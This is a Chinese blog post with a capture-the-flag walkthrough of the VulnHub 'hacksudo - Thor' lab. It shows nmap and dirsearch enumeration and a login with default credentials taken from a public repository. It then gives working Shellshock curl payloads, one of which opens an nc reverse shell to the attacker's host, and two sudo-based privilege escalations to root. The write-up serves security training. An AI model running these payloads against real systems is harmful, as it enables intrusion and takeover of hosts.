当前位置:网站首页>vulnhub靶场-hacksudo - Thor
vulnhub靶场-hacksudo - Thor
2022-07-01 16:46:00 【KALC】
1、靶机信息
靶机名称:hacksudo - Thor
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得root权限
靶机地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
kali服务器IP | 192.168.2.172 |
靶机IP | 192.168.2.175 |
2、主机发现
2.1 使用nmap对靶机所在的网段进行主机发现,通过MAC地址得知,靶机地址为
192.168.2.175
nmap -sn 192.168.2.0/24

2.2 对靶机地址进行全端口扫描
nmap -p- 192.168.2.175

2.3 版本服务扫描
nmap -p 21,22,80 -sV 192.168.2.175

2.4 对80端口进行访问,发现一个登陆窗口

3、WEB目录爬取
3.1 直接进行目录扫描,尝试发现敏感信息
dirsearch -u http://192.168.2.175 -e *

3.2 对扫描出的目录进行查看,首先是发现一个markdown文件,在文件当中找到代码作者github地址
192.168.2.175/README.md

3.3 找到一个images目录,没有什么有用的信息

3.4 还找到另外一个登陆页面,但是目前还没有账密,先不管
http://192.168.2.175/index.php/login/

4、开源源码泄漏
4.1 尝试访问上面找到的源代码发布地址,看看是否有敏感信息暴露https://github.com/zakee94/

4.2 访问https://github.com/zakee94/online-banking-system
获取到账号为:admin,密码是:password123

4.3 尝试在80端口页面进行登录,提示无效认证

4.4 在代码文件中,我们发现有个admin_login.php的目录

4.5 尝试进行访问这个管理员目录,并拿上面的账密进行登录,发现可以成功登陆
http://192.168.2.175/admin_login.php

4.6 登录后可以进行账户管理等操作

5、破壳漏洞
5.1 查看news.php的源代码,在其中发现一个cgi-bin,在前面使用web目录发现时,同样也扫出cgi-bin目录,这个就需要我们注意,可能会存在一个破壳漏洞

5.2 使用dirsearch对/cgi-bin这个目录进行爬取,找cgi和sh结尾的目录,在这里我们找到了两个目录/cgi-bin/backup.cgi和/cgi-bin/shell.sh
dirsearch -u http://192.168.2.175/cgi-bin/ -f -e cgi,sh

5.3 使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.2.175

5.4 使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.2.175

5.5 使用curl命令,在ua头中添加破壳漏洞的payload,可以看到成功回显
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" \http://192.168.2.175/cgi-bin/backup.cgi

5.6 进一步去查看目标靶机是否存在nc命令,发现是存在的,意味着我们可以直接反弹shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'which nc'" \http://192.168.2.175/cgi-bin/backup.cgi

5.7 首先在kali监听端口,然后在kali上输入反弹shell的payload,利用破壳漏洞拿到shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 192.168.2.172 9999'" \http://192.168.2.175/cgi-bin/backup.cgi

5.8 成功拿到shell,用户名称为www-data,下一步就是提权
nc -nvlp 9999

5.9 使用python升级为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

6、GTFOBins提权
6.1 查看当前用户sudo权限,发现一个不需要密码就能以thor权限执行的脚本

6.2 使用thor的用户权限执行脚本,此脚本会首先要求我们输入thor的密钥,在这里我们输入任意值都可以,我们回车确认后,会接着要求我们输入秘密消息,在这里我们输入一个命令id,发现命令成功执行,提示我们用户是一个thor的用户
sudo -u thor /home/thor/./hammer.sh

6.3 使用脚本提权到thor用户,我们在秘密消息处(Secret massage),输入bash,成功提权到thor用户

6.4 查看thor用户的sudo权限,发现可以无需密码就能以root权限使用cat命令,以及使用root的权限运行service命令,在这里可以直接使用service提权到root。在某些命令配置错误、配置不当时,可以通过这个网站寻找提权的方法:GTFOBins
sudo service ../../bin/bash

边栏推荐
- How to solve the problem that the battery icon of notebook computer does not display
- Please, stop painting star! This has nothing to do with patriotism!
- 《中国智慧环保产业发展监测与投资前景研究报告(2022版)》
- Rhcsa Road
- ACM MM 2022视频理解挑战赛视频分类赛道冠军AutoX团队技术分享
- Internet News: "20220222" get together to get licenses; Many products of Jimi have been affirmed by consumers; Starbucks was fined for using expired ingredients in two stores
- GameFramework食用指南
- Mysql database - Advanced SQL statement (2)
- (12) About time-consuming printing
- 中国乙腈市场预测与战略咨询研究报告(2022版)
猜你喜欢

Girls who want to do software testing look here

Are you still using charged document management tools? I have a better choice! Completely free

智能运维实战:银行业务流程及单笔交易追踪

Template Engine Velocity Foundation

ACM MM 2022视频理解挑战赛视频分类赛道冠军AutoX团队技术分享

在MeterSphere接口测试中如何使用JMeter函数和MockJS函数

Introduction to software engineering - Chapter 6 - detailed design

重磅披露!上百个重要信息系统被入侵,主机成为重点攻击目标

Activity的生命周期和启动模式详解

Ring iron pronunciation, dynamic and noiseless, strong and brilliant, magic wave hifiair Bluetooth headset evaluation
随机推荐
Iommu/smmuv3 code analysis (10) page table operation
MySQL learning summary
Hidden Markov model (HMM): model parameter estimation
How to use etcd to realize distributed /etc directory
Babbitt | yuan universe daily must read: Naixue coin, Yuan universe paradise, virtual stock game Do you understand Naixue's tea's marketing campaign of "operation pull full"
换掉UUID,NanoID更快更安全!
ShenYu 网关开发:在本地启用运行
阿里云李飞飞:中国云数据库在很多主流技术创新上已经领先国外
Detailed explanation of activity life cycle and startup mode
GaussDB(for MySQL) :Partial Result Cache,通过缓存中间结果对算子进行加速
ACM MM 2022视频理解挑战赛视频分类赛道冠军AutoX团队技术分享
ACL 2022 | 分解的元学习小样本命名实体识别
Redis 分布式锁
National Security Agency (NSA) "sour Fox" vulnerability attack weapon platform technical analysis report
Basic usage of Frida
How wild are hackers' ways of making money? CTF reverse entry Guide
China carbon disulfide industry research and investment strategy report (2022 Edition)
How to solve the keyboard key failure of notebook computer
Stegano in the world of attack and defense
SystemVerilog structure (II)